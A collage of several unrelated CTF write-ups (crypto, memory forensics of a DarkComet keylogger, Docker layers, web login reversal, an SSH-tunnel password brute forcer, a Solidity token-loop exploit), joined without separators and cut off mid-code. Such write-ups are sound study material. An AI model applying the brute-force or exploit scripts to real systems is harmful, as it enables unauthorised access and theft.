```pythonAk = pow(A, k, p)b = randint(2, p - 1)B = pow(g, b, p)Bk = pow(B, k, p)S = pow(Bk, a, p)``` The value of `k` can be specified. The critical observation here is that, if `k` is set to 0 then `Bk = B^0 % p = 1` and `S = Bk^n % p = 1^n % p = 1`. So we can calculate the md5-hash of the value 1 and have the key for decryption. ```pythonfrom Crypto.Cipher import AESimport hashlibfrom Crypto.Util.Padding import padfrom Crypto.Util.number import long_to_bytes S = 1c = 31383420538805400549021388790532797474095834602121474716358265812491198185235485912863164473747446452579209175051706 key = hashlib.md5(long_to_bytes(S)).digest()cipher = AES.new(key, AES.MODE_ECB)c = cipher.decrypt(c.to_bytes(c.bit_length(), "big"))print(c)``` Flag `uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}`
# Attaaaaack1 ## Background One of our employees at the company complained about suspicious behavior on the machine, our IR team took a memory dump from the machine and we need to investigate it. Q1. What is the best profile for the the machine? example : crew{Profile} [Link](https://drive.google.com/file/d/1T8__WXOPcGqmkubyH-NBokEGk3N_H5hr/view?usp=share_link) Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142806.png) ## Find the flag **In this challenge, we can download a [file](https://drive.google.com/file/d/1T8__WXOPcGqmkubyH-NBokEGk3N_H5hr/view?usp=share_link):**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|17:23:39(HKT)]└> ls -lah memdump.raw && file memdump.raw -rw-r--r-- 1 siunam nam 1.0G Jul 8 16:06 memdump.rawmemdump.raw: Windows Event Trace Log``` Now, the `raw` extension is a memory dump file. To perform memory forensic, we can use a tool called **Volatility**. Through out this challenge, I'll use Volatility version 2 (volatility2), I don't know why volatility3 is broken for me... **According to [HackTricks](https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet#discover-profile), we can discover profile via:**```shellvolatility imageinfo -f file.dmp``` ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|17:26:15(HKT)]└> python2 /opt/volatility/vol.py imageinfo -f memdump.rawVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/siunam/ctf/CrewCTF-2023/Forensics/Attaaaaack/memdump.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x82b7ab78L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x80b96000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2023-02-20 19:10:54 UTC+0000 Image local date and time : 2023-02-20 21:10:54 +0200``` - Profile: `Win7SP1x86_23418`- **Flag: `crew{Win7SP1x86_23418}`**
# UIUCTF 2023 ## Corny Kernel > Use our corny little driver to mess with the Linux kernel at runtime!>> Author: Nitya>> [`pwnymodule.c`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/misc/corny_kernel/pwnymodule.c) Tags: _misc_ ## SolutionThe challenge comes with a very basic kernel module source file. The kernel module only logs at initialization and exit time half of the flag. ```cstatic int __init pwny_init(void){ pr_alert("%s\n", flag1); return 0;} static void __exit pwny_exit(void){ pr_info("%s\n", flag2);} module_init(pwny_init);module_exit(pwny_exit);``` After logging into the machine we find the compiled kernel module gzipped. After unzipping the module with `gunz -d pwnmodule.ko.gz` the module can be installed and will give a way the first part of the flag: ```/root # insmod pwnymodule.ko[ 309.435372] pwnymodule: uiuctf{m4ster_``` After this the kernel module only needs to be removed again so the second part of the flag is logged from the exit callback. Since the message will not be displayed on screen directly the logmessages can be retrieved from the kernel ring buffer with `dmesg`. ```/root # rmmod pwnymodule/root # dmesg[ 0.000000] Linux version 6.3.8-uiuctf-2023 (root@buildkitsandbox) (gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #1 PREEMPT_DYNAMIC Wed Jun 21 05:28:15 UTC 2023[ 0.000000] Kernel is locked down from Kernel configuration; see man kernel_lockdown.7 ... [ 0.185556] Freeing unused kernel image (rodata/data gap) memory: 1452K[ 0.185561] Run /init as init process[ 0.185561] with arguments:[ 0.185562] /init[ 0.185563] with environment:[ 0.185563] HOME=/[ 0.185564] TERM=linux[ 0.192659] mount (31) used greatest stack depth: 13464 bytes left[ 309.435372] pwnymodule: uiuctf{m4ster_[ 425.997902] pwnymodule: k3rNE1_haCk3r}``` Flag `uiuctf{m4ster_k3rNE1_haCk3r}`
Similar to the last one, we only have a hash of the flag in `/root/flag`.If we look at the build steps with `docker image history --no-trunc challenge`, it is now copying the file, hashing it then removing it. Docker images consist of many layers in a specific order, where each layer modifies the filesystem in some way. Each build instruction maps to at most one layer. When we add the flag file, a new layer is created with it in it, and even if we remove the flag later, that layer is still part of our image. To get to it, we save the image as a tar (`docker save challenge > challenge.tar`), then extract it. Each layer has a folder with a long hash, and a `layer.tar` inside that.To quickly search through them all, I used this command:`find -iname '*.tar' -exec sh -c 'echo {}; tar -tf {} | grep FLAG' \;` - this prints out the layer hash, followed by all files inside it containing `FLAG`. We see only one layer has the `FLAG` file, and once we extract it we can read `opt/flag` to get `punk_{53GAEP9LAWODTO0T}`.
# Attaaaaack8 ## Background Q8. What is the Attacker's C2 domain name and port number ? (domain name:port number) example : crew{abcd.com:8080} Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142914.png) ## Find the flag Armed with Attaaaaack2 - 7's information, we could guess that the `runddl.exe` is a ***keylogger*** malware, as we found that it'll retrieve the status of the keyboard (Attaaaaack7). If it's a keylogger, all the key strokes should send to a Command and Control (C2) server and exfiltrate all the key strokes. So, we can try to find all outbound connections and see if it's any weird domains/IP addresses. However, in volatility2, besides plugin `netscan` (Which is the output of `netstat`), other listing network connection related plugins are Windows XP and 2003 only. I also tried to perform dynamic analysis, which running the `runddl.exe` in a sandbox environment. However, I got "Runtime error 216"... **Then, I upload and run it in [any.run](https://any.run/) online malware sandbox:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708221440.png) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708221552.png) But nothing weird... **Finally, re-dumped the `runddl.exe` via `dumpfiles` (Not `procdump`), and uploaded to [virustotal.com](www.virustotal.com):**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|22:44:21(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f memdump.raw dumpfiles --dump-dir=runddl -Q 0x000000003ea44038[...]┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|22:44:41(HKT)]└> mv runddl/file.None.0x8436b6f0.img runddl/runddl.exe``` ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708224516.png) **In the "Behavior" tab, we can see it's "Network Communication":** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708224547.png) ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230708224603.png) In "Memory Pattern Urls", it's an URL pattern found in the memory of the executable. Hence, `test213.no-ip.info:1604` is the C2 server. - **Flag: `crew{test213.no-ip.info:1604}`**
# Attaaaaack11 ## Background Q11. can you find the key name and it's value ? example : crew{CurrentVersion_ProductName} Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142939.png) ## Find the flag **When I was searching ""test213.no-ip.info" keylogger" in Attaaaaack9, I also came across with [this Jupyter note](https://notebook.community/adricnet/dfirnotes/examples/Rekall%20demo%20-%20DarkComet%20analysis%20by%20TekDefense%20-%20Jupyter%20slides):** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709130813.png) **In there, the memory dump's registry key has something weird:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709130915.png) ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.09|13:05:47(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f memdump.raw printkey -K "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"Volatility Foundation Volatility Framework 2.6.1Legend: (S) = Stable (V) = Volatile ----------------------------Registry: \??\C:\Users\0xSh3rl0ck\ntuser.datKey name: Run (S)Last updated: 2023-02-20 19:03:40 UTC+0000 Subkeys: Values:REG_SZ MicroUpdate : (S) C:\Users\0XSH3R~1\AppData\Local\Temp\MSDCSC\runddl32.exe----------------------------Registry: \REGISTRY\USER\S-1-5-20Key name: Run (S)Last updated: 2009-07-14 04:34:14 UTC+0000[...]``` The `HKCU` `Run` key has a value called `MicroUpdate`. - **Flag: `crew{Run_MicroUpdate}`**
# Attaaaaack9 ## Background Q9. Seems that there is Keylogger, can you find it's path ? example : `crew{C:\Windows\System32\abc.def}` Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142923.png) ## Find the flag I was stucked at this challenge for a very long time. I then decided to Google ""test213.no-ip.info" keylogger", and I found [this malware analysis blog](http://www.tekdefense.com/news/tag/malware-analysis): ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709124728.png) So, this malware is DarkComet RAT (Remote Access Trojan). In the blog, the bloger found that the keylogger has an offline option, so that the malware will continue to log keystroke to a **local file** that can then be picked up by the attacker as they want. ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709125155.png) **In our volatility2 `filescan`, we can see that there's a weird `.dc` log file:**```shell0x000000003fcb3350 8 0 -W-r-- \Device\HarddiskVolume1\Users\0xSh3rl0ck\AppData\Roaming\dclogs\2023-02-20-2.dc``` **We can also dump that file:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.09|12:53:01(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f memdump.raw dumpfiles --dump-dir=runddl -Q 0x000000003fcb3350 Volatility Foundation Volatility Framework 2.6.1DataSectionObject 0x3fcb3350 None \Device\HarddiskVolume1\Users\0xSh3rl0ck\AppData\Roaming\dclogs\2023-02-20-2.dc┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.09|12:53:31(HKT)]└> cat runddl/file.None.0x84273670.dat:: Administrator: C:\Windows\System32\cmd.exe (9:04:57 PM) :: Start menu (9:05:01 PM)no :: Untitled - Notepad (9:10:54 PM)=[<-] :: Clipboard Change : size = 27 Bytes (9:10:54 PM)C:\Users\0xSh3rl0ck\Desktop``` - **Flag: `crew{C:\Users\0xSh3rl0ck\AppData\Roaming\dclogs\2023-02-20-2.dc}`**
## avenge-my-password ```Stark to Star-Lord - "Oh my, see Quill?! I told you your credentials can work for more than one thing, but things only go so far. Time will tell when to search another path to find a way in!" Automated directory brute force is unnecessary.``` This was my favorite of the web challenges from this year's Jersey CTF. There's still a bit of a CTF element but it combines a few different skils that are very applicable in the real world whether you're a penetration tester or pivoting as a red teamer. ```quantumleaper@avenge-my-password:~$ cat .mysql_history_HiStOrY_V2_show\040databases;use\040information_schema;show\040tables;show\040databases;show\040website;use\040website;show\040tables;CREATE\040TABLE\040login\040(\040\040\040\040\040\040\040\040userID\040INTEGER\040NOT\040NULL,\040\040\040\040\040\040\040\040email\040VARCHAR(128)\040NOT\040NULL,\040\040\040\040\040\040\040\040PRIMARY\040KEY\040(userID));select\040*\040from\040login;INSERT\040INTO\040login\040VALUES\040(5000,\040'[email protected]',\040'75a9d701d4b530645c35c277ba6bf0ef');``` Immediately upon login we find a log history file for mysql, so we know there's a "website" database running that's storing login information. We confirm there's definitely a website on the server by checking `/var/www/html` which contains a php file and an interesting list of folders including one called ".username" which has a file ".usernames.txt" which we are unable to read due to the access control explicitly blacklisting our user from reading it (note the + at the end of the permissions lines). ```quantumleaper@avenge-my-password:/var/www/html$ cd .username/quantumleaper@avenge-my-password:/var/www/html/.username$ ls -latotal 16dr-xr-xr-x 2 root root 4096 Mar 23 19:38 .dr-xr-xr-x 32 root root 4096 Mar 27 20:01 ..-r-xr-xr-x+ 1 root root 5275 Mar 23 18:09 .usernames.txt-r-xr-xr-x 1 root root 0 Mar 23 19:37 hi.txtquantumleaper@avenge-my-password:/var/www/html/.username$ getfacl .usernames.txt# file: .usernames.txt# owner: root# group: rootuser::r-xuser:quantumleaper:---group::r-xmask::r-xother::r-x``` First let's explore the mysql database, then we can go about getting access to that site. ```quantumleaper@avenge-my-password:/var/www/html/.username$ mysql -u quantumleaper -pEnter password:Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 1863Server version: 8.0.32-0ubuntu0.22.10.2 (Ubuntu) Copyright (c) 2000, 2023, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> use websiteReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A Database changedmysql> select * from login where userId = 401;+--------+---------------+| userID | password |+--------+---------------+| 401 | Spring2023!!! |+--------+---------------+1 row in set (0.00 sec) mysql>``` If you look through all the rows of the login table, you'll notice one that doesn't appear to be a password hash but is stored in cleartext. Unfortunately for us, there's no more usernames in the table! We likely need to find a way to read that list of usernames to find which one matches up to this password. The server running this challenge is only has the SSH port open to the public, but we can create a tunnel through our SSH connection to access the local port 80 on the remote server like this: ```ssh -L 4444:159.203.191.48:80 [email protected]``` ![](https://i.imgur.com/43axQ7U.png) Even though the quantumleaper user can't read that username list, maybe the user running the website can. ```http://localhost:4444/.username/.usernames.txt FandacicatiFarercedancFarerToughTreasureFarTruckFendesby...``` We're given back a list of 500 usernames, how do we know which one matches up? If there was an intended obvious username it went right over my head. There was no "lucy" user from the sql history log or even any usernames that were in the challenge description so I built a mini brute forcer to test our known password with all those users. ```import requests url = "http://localhost:4444/" usernames = open("usernames.txt", "r").read().split('\n') for username in usernames: rsp = requests.post(url, data={ "username": username, "password": "Spring2023!!!", "submit": "Login" }) #print(rsp.text) if ("Invalid login" in rsp.text): print("bad") else: print("good") print(username) break``` Sure enough, this gets us the matching username and we're able to login to the site to get the flag. ```MarsString:Spring2023!!! jctf{w3_LoV3_M@RV3L_:)_GOOD_JOB!}```No captcha required for preview. Please, do not write just a link to original writeup here.
# Attaaaaack6 ## Background Q6. What is the full path (including executable name) of the hidden executable? example : `crew{C:\Windows\System32\abc.exe}` Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142854.png) ## Find the flag Just to sum up what we've found, we found a sussy executable `runddl.exe`. **In volatility2, we can use plugin `cmdline` to display process command-line arguments:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|18:41:29(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86 -f memdump.raw cmdline [...]runddl32.exe pid: 300Command line : "C:\Users\0XSH3R~1\AppData\Local\Temp\MSDCSC\runddl32.exe" ************************************************************************notepad.exe pid: 2556Command line : notepad************************************************************************[...]``` As you can see, the `runddl32.exe`'s full path is `C:\Users\0XSH3R~1\AppData\Local\Temp\MSDCSC\runddl32.exe`. - **Flag: `crew{C:\Users\0XSH3R~1\AppData\Local\Temp\MSDCSC\runddl32.exe}`**
# Attaaaaack3 ## Background Q3. i think the user left note on the machine. can you find it ? Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142827.png) ## Find the flag **In volatility2, there's a plugin called `clipboard`, which will dump all the clipboard buffer. (Only volatility2 has this)**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|18:06:22(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86 -f memdump.raw clipboard Volatility Foundation Volatility Framework 2.6.1Session WindowStation Format Handle Object Data ---------- ------------- ------------------ ---------- ---------- -------------------------------------------------- 1 WinSta0 CF_UNICODETEXT 0xa00d9 0xfe897838 1_l0v3_M3m0ry_F0r3ns1cs_S0_muchhhhhhhhh 1 WinSta0 0x0L 0x10 ---------- 1 WinSta0 0x2000L 0x0 ---------- 1 WinSta0 0x0L 0x3000 ---------- 1 ------------- ------------------ 0x1a02a9 0xfe670a68 1 ------------- ------------------ 0x100067 0xffbab448 ``` Nice! We found that weird text! - **Flag: `crew{1_l0v3_M3m0ry_F0r3ns1cs_S0_muchhhhhhhhh}`**
![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/8813c221-f080-4981-943e-764249254efc) Looking at source shows something. However, the real authentication is in the login.js ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/bcba515d-2558-4917-b3dd-95456aaf38d0) ```jswindow.onload = function() { var loginForm = document.getElementById("loginForm"); loginForm.addEventListener("submit", function(event) { event.preventDefault(); var username = document.getElementById("username").value; var password = document.getElementById("password").value; function fii(num){ return num / 2 + fee(num); } function fee(num){ return foo(num * 5, square(num)); } function foo(x, y){ return x*x + y*y + 2*x*y; } function square(num){ return num * num; } var key = [32421672.5, 160022555, 197009354, 184036413, 165791431.5, 110250050, 203747134.5, 106007665.5, 114618486.5, 1401872, 20702532.5, 1401872, 37896374, 133402552.5, 197009354, 197009354, 148937670, 114618486.5, 1401872, 20702532.5, 160022555, 97891284.5, 184036413, 106007665.5, 128504948, 232440576.5, 4648358, 1401872, 58522542.5, 171714872, 190440057.5, 114618486.5, 197009354, 1401872, 55890618, 128504948, 114618486.5, 1401872, 26071270.5, 190440057.5, 197009354, 97891284.5, 101888885, 148937670, 133402552.5, 190440057.5, 128504948, 114618486.5, 110250050, 1401872, 44036535.5, 184036413, 110250050, 114618486.5, 184036413, 4648358, 1401872, 20702532.5, 160022555, 110250050, 1401872, 26071270.5, 210656255, 114618486.5, 184036413, 232440576.5, 197009354, 128504948, 133402552.5, 160022555, 123743427.5, 1401872, 21958629, 114618486.5, 106007665.5, 165791431.5, 154405530.5, 114618486.5, 190440057.5, 1401872, 23271009.5, 128504948, 97891284.5, 165791431.5, 190440057.5, 1572532.5, 1572532.5]; function validatePassword(password){ var encryption = password.split('').map(function(char) { return char.charCodeAt(0); }); var checker = []; for (var i = 0; i < encryption.length; i++) { var a = encryption[i]; var b = fii(a); checker.push(b); } console.log(checker); if (key.length !== checker.length) { return false; } for (var i = 0; i < key.length; i++) { if (key[i] !== checker[i]) { return false; } } return true; } if (username === "Admin" && validatePassword(password)) { alert("Login successful. Redirecting to admin panel..."); window.location.href = "admin_panel.html"; } else if (username === "default" && password === "password123") { var websiteNames = ["Google", "YouTube", "Minecraft", "Discord", "Twitter"]; var websiteURLs = ["https://www.google.com", "https://www.youtube.com", "https://www.minecraft.net", "https://www.discord.com", "https://www.twitter.com"]; var randomNum = Math.floor(Math.random() * websiteNames.length); alert("Login successful. Redirecting to " + websiteNames[randomNum] + "..."); window.location.href = websiteURLs[randomNum]; } else { alert("Invalid credentials. Please try again."); } }); }; ``` So it checks each value of the key as `a`, with `k` being charcodeat of that character, `k^4 + 10k^3 + 25k^2 + 0.5k - a = 0`. So I wrote a script to bruteforce all characters to get the flag. ```pys = "_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^`{|} ~" key = [32421672.5, 160022555, 197009354, 184036413, 165791431.5, 110250050, 203747134.5, 106007665.5, 114618486.5, 1401872, 20702532.5, 1401872, 37896374, 133402552.5, 197009354, 197009354, 148937670, 114618486.5, 1401872, 20702532.5, 160022555, 97891284.5, 184036413, 106007665.5, 128504948, 232440576.5, 4648358, 1401872, 58522542.5, 171714872, 190440057.5, 114618486.5, 197009354, 1401872, 55890618, 128504948, 114618486.5, 1401872, 26071270.5, 190440057.5, 197009354, 97891284.5, 101888885, 148937670, 133402552.5, 190440057.5, 128504948, 114618486.5, 110250050, 1401872, 44036535.5, 184036413, 110250050, 114618486.5, 184036413, 4648358, 1401872, 20702532.5, 160022555, 110250050, 1401872, 26071270.5, 210656255, 114618486.5, 184036413, 232440576.5, 197009354, 128504948, 133402552.5, 160022555, 123743427.5, 1401872, 21958629, 114618486.5, 106007665.5, 165791431.5, 154405530.5, 114618486.5, 190440057.5, 1401872, 23271009.5, 128504948, 97891284.5, 165791431.5, 190440057.5, 1572532.5, 1572532.5] flag = "" for k in key: for a in s: n = ord(a) d = n**4 + 10*n**3 + 25*n**2 + 0.5*n if d == k: flag += a break print(flag) >>> "Introduce A Little Anarchy, Upset The Established Order, And Everything Becomes Chaos!!"``` Looking admin_panel.html: ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/57e72bd0-b8d4-4dfa-96e9-c968e2b2df8a) Flag: `flag{Admin, Introduce A Little Anarchy, Upset The Established Order, And Everything Becomes Chaos!!}`
# Did it! ## Source Finding the intersection among subsets can sometimes be a challenging endeavor, as it requires meticulous comparison and analysis of overlapping elements within each set. But she did it! Try doing it yourself too. ## Exploit Let's start by understanding the code in did.py. ```def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.buffer.readline()``` These 3 functions are used to interact with the user.- `sc()` takes the input you provide.- `pr()` prints something.- `die()` prints something and ends the program. now entering the `main` function: ```border = "+"pr(border*72)pr(border, ".:: Hi all, she DID it, you should do it too! Are you ready? ::. ", border)pr(border*72) _flag = Falsen, l = 127, 20N = set(list(range(0, n)))K = [randint(0, n-1) for _ in range(l)]cnt, STEP = 0, 2 * n // l - 1``` the function prints 3 lines and then moves on to define:1. a boolean `_flag` which checks if it should give you the flag2. `N`: The integers involved in this program belong to range 0 to 1263. `K`: a list of 20 random integers from set N that changes with every connection but remains constant throughout the code4. `cnt` and `STEP` used to confirm that the user can only guess 11 times (2*n//l-1=11) ```while True: ans = sc().decode().strip() try: _A = [int(_) for _ in ans.split(',')] if len(_A) <= l and set(_A).issubset(N): DID = did(n, l, K, _A) pr(border, f'DID = {DID}') if set(_A) == set(K): _flag = True else: die(border, 'Exception! Bye!!') except: die(border, 'Your input is not valid! Bye!!') if _flag: die(border, f'Congrats! the flag: {flag}') if cnt > STEP: die(border, f'Too many tries, bye!') cnt += 1``` - This block of code runs for a maximum of 11 times and lets you send a maximum of 20 numbers from set `N` as input each time.- The numbers you send as input should be separated by commas and the code will convert it into a list `_A`.- Then it will run the `did` function.. explained later and print its return.- **IF your input is the set of all numbers belonging to list `K` then `_flag` will be set and it will give you the flag.** Now lets understand the did function and how it will help us get the flag.```def did(n, l, K, A): A, K = set(A), set(K) R = [pow(_, 2, n) + randint(0, 1) for _ in A - K] return R``` - This function basically takes A-K , which is the set of all number provided by you in input that do not belong to set K ...say x, then adds x^2 mod(n) or x^2 mod(n) +1 to the list R and returns R.- Using this we can check for every number given by us in input , if neither x^2 mod(n) nor x^2 mod(n) +1 is in the returned value, then that number is a part of set K and we can save it, to send it in the final input to get the flag. ## Script Lets start with explaining the script now. ### 1. Setting up the connection:```from pwn import * host=r'01.cr.yp.toc.tf'port=11337r=remote(host,port) print(r.recvline())print(r.recvline())print(r.recvline())```- **Imports the pwn library and sets up connection to the challenge.**- **Prints the challenge start message.** ### 2. Preparing a set of inputs:- It's important to make sure that there are no collisions or we might miss a number that might be in K.- *Collisions: if dic[a] is k and dic[b] is k+1 : if did returns k+1 in the list, we won't know if a or b doesn't belong to set K.*```n,l=127,20dic={}for i in range(n): dic[i]=pow(i,2,n) list_of_inputs=[]added_to_list=[False]*nwhile added_to_list!=[True]*n: input=[] collision_check=set() count=0 for i in range(127): if added_to_list[i]==True: continue if dic[i]-1 not in collision_check and dic[i] not in collision_check and dic[i]+1 not in collision_check: input.append(i) collision_check.add(dic[i]) collision_check.add(dic[i]+1) added_to_list[i]=True count+=1 if count==20: break list_of_inputs.append(input)```- **Creates the dictionary for x to x^2 mod(n).**- **Creates a list of list of numbers to send as input one at a time.**- `added_to_list` manages if a number is added to the list. `input` is a list of maximum 20 numbers that is sent to the program as string s. `collision_check` makes sure there are no collisions. ### 3.Submitting numbers to extract numbers in K.```K=[]for i in range(len(list_of_inputs)): s=','.join(map(str,list_of_inputs[i])) r.sendline(s.encode()) did=r.recvline().decode().strip() not_in_k=did.lstrip('+ DID = [').rstrip(']') lis=list(map(int,not_in_k.split(', '))) for num in list_of_inputs[i]: if dic[num] not in lis and dic[num]+1 not in lis: K.append(num) print(f"{num} is in K" )```- Sends at most 20 numbers at a time and gets the list returned from did function as lis.- Then checks for all numbers sent in input if that number is in K (if dic[i] or dic[i]+1 is not in lis) then adds that number to the list K. ### 4.Submitting K and getting the flag.```s=','.join(map(str,K))r.sendline(s.encode())r.recvline()print(r.recvline().decode().strip())r.close()``` ## Flag The flag is `CCTF{W4rM_Up_CrYpt0_Ch4Ll3n9e!!}`
# CrewCTF 2023 - infinite [15 solves / 930 points] [First blood ?] Our goal is to set our respectCount in the fancyStore contract to >=50 ### Setup.sol :```soliditypragma solidity ^0.8.0; import "./crewToken.sol";import "./respectToken.sol";import "./candyToken.sol";import "./fancyStore.sol";import "./localGang.sol"; contract Setup { crewToken public immutable CREW; respectToken public immutable RESPECT; candyToken public immutable CANDY; fancyStore public immutable STORE; localGang public immutable GANG; constructor() payable { CREW = new crewToken(); RESPECT = new respectToken(); CANDY = new candyToken(); STORE = new fancyStore(address(CANDY), address(RESPECT), address(CREW)); GANG = new localGang(address(CANDY), address(RESPECT)); RESPECT.transferOwnership(address(GANG)); CANDY.transferOwnership(address(STORE)); } function isSolved() public view returns (bool) { return STORE.respectCount(CREW.receiver())>=50 ; }}``` There are 3 tokens, crew, respect and candy token, at first, we have no token at all But we can call mint() in crew token contract to claim 1 crew token for once : ```solidity function mint() external { require(!claimed , "already claimed"); receiver = msg.sender; claimed = true; _mint(receiver, 1); }``` Then, there is a `verification()` function in the fancyStore contract, which takes 1 crew token and gives us 10 candy token ```solidity function verification() public payable{ require(crew.balanceOf(msg.sender)==1, "You don't have crew tokens to verify"); require(crew.allowance(msg.sender, address(this))==1, "You need to approve the contract to transfer crew tokens"); crew.transferFrom(msg.sender, address(this), 1); candy.mint(msg.sender, 10); }``` In order to increase our respectCount, we can check what functions will increase the respectCount for msg.sender, there are 2 functions in the fancyStore contract that do that : ```solidity function buyCandies(uint _respectCount) public payable{ require(_respectCount!=0, "You need to donate respect to buy candies"); require(respect.balanceOf(msg.sender)>=_respectCount, "You don't have enough respect"); require(respect.allowance(msg.sender, address(this))>=_respectCount, "You need to approve the contract to transfer respect"); respectCount[msg.sender] += _respectCount; respect.transferFrom(msg.sender, address(this), _respectCount); timestamp[msg.sender] = block.timestamp; candy.mint(msg.sender, _respectCount); } function respectIncreasesWithTime() public { require(timestamp[msg.sender]!=0, "You need to buy candies first"); require(block.timestamp-timestamp[msg.sender]>=1 days, "You need to wait 1 day to gain respect again"); timestamp[msg.sender] = block.timestamp; uint reward = respectCount[msg.sender]/10; respectCount[msg.sender] += reward; respect.mint(msg.sender, reward); }``` However, I think `respectIncreasesWithTime()` wouldn't work as it is calling `respect.mint()`, but reading `Setup.sol`, the fancyStore contract is only the owner of candy token but not respect token, so it has no access to mint respect token, so I will ignore this function For `buyCandies()`, it will exchange respect token for candy token, also it will increase our respectCount In order to get respect token, we can use the `gainRespect()` function in the localGang contract : ```solidity function gainRespect(uint _candyCount) public payable{ require(_candyCount!=0, "You need donate candies to gain respect"); require(candy.balanceOf(msg.sender)>=_candyCount, "You don't have enough candies"); require(candy.allowance(msg.sender, address(this))>=_candyCount, "You need to approve the contract to transfer candies"); candyCount[msg.sender] += _candyCount; candy.transferFrom(msg.sender, address(this), _candyCount); respect.mint(msg.sender, _candyCount); }``` It will exchange candy token to respect token We have 10 candy token, so we can call `gainRespect()` with 10 to get 10 respect token, and then call `buyCandies()` with 10 to exchange 10 respect token back to 10 candy token, also increasing our respectCount by 10 So we have 10 candy token again, and we can just repeat this until our respectCount is >= 50 ### Foundry test : ```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13; import "forge-std/Test.sol";import "../src/Setup.sol"; contract infiniteTest is Test { Setup public setupContract; crewToken public CREW; respectToken public RESPECT; candyToken public CANDY; fancyStore public STORE; localGang public GANG; address public attacker = makeAddr("attacker"); function setUp() public { setupContract = new Setup(); CREW = setupContract.CREW(); RESPECT = setupContract.RESPECT(); CANDY = setupContract.CANDY(); STORE = setupContract.STORE(); GANG = setupContract.GANG(); } function testExploit() public { vm.startPrank(attacker); CREW.mint(); CREW.approve(address(STORE), 1); STORE.verification(); console.log("attacker candy :", CANDY.balanceOf(attacker)); console.log("attacker respect :", RESPECT.balanceOf(attacker)); console.log("attacker respectCount :", STORE.respectCount(attacker)); console.log(""); CANDY.approve(address(GANG), type(uint256).max); RESPECT.approve(address(STORE), type(uint256).max); for(uint256 i; i < 5; ++i){ 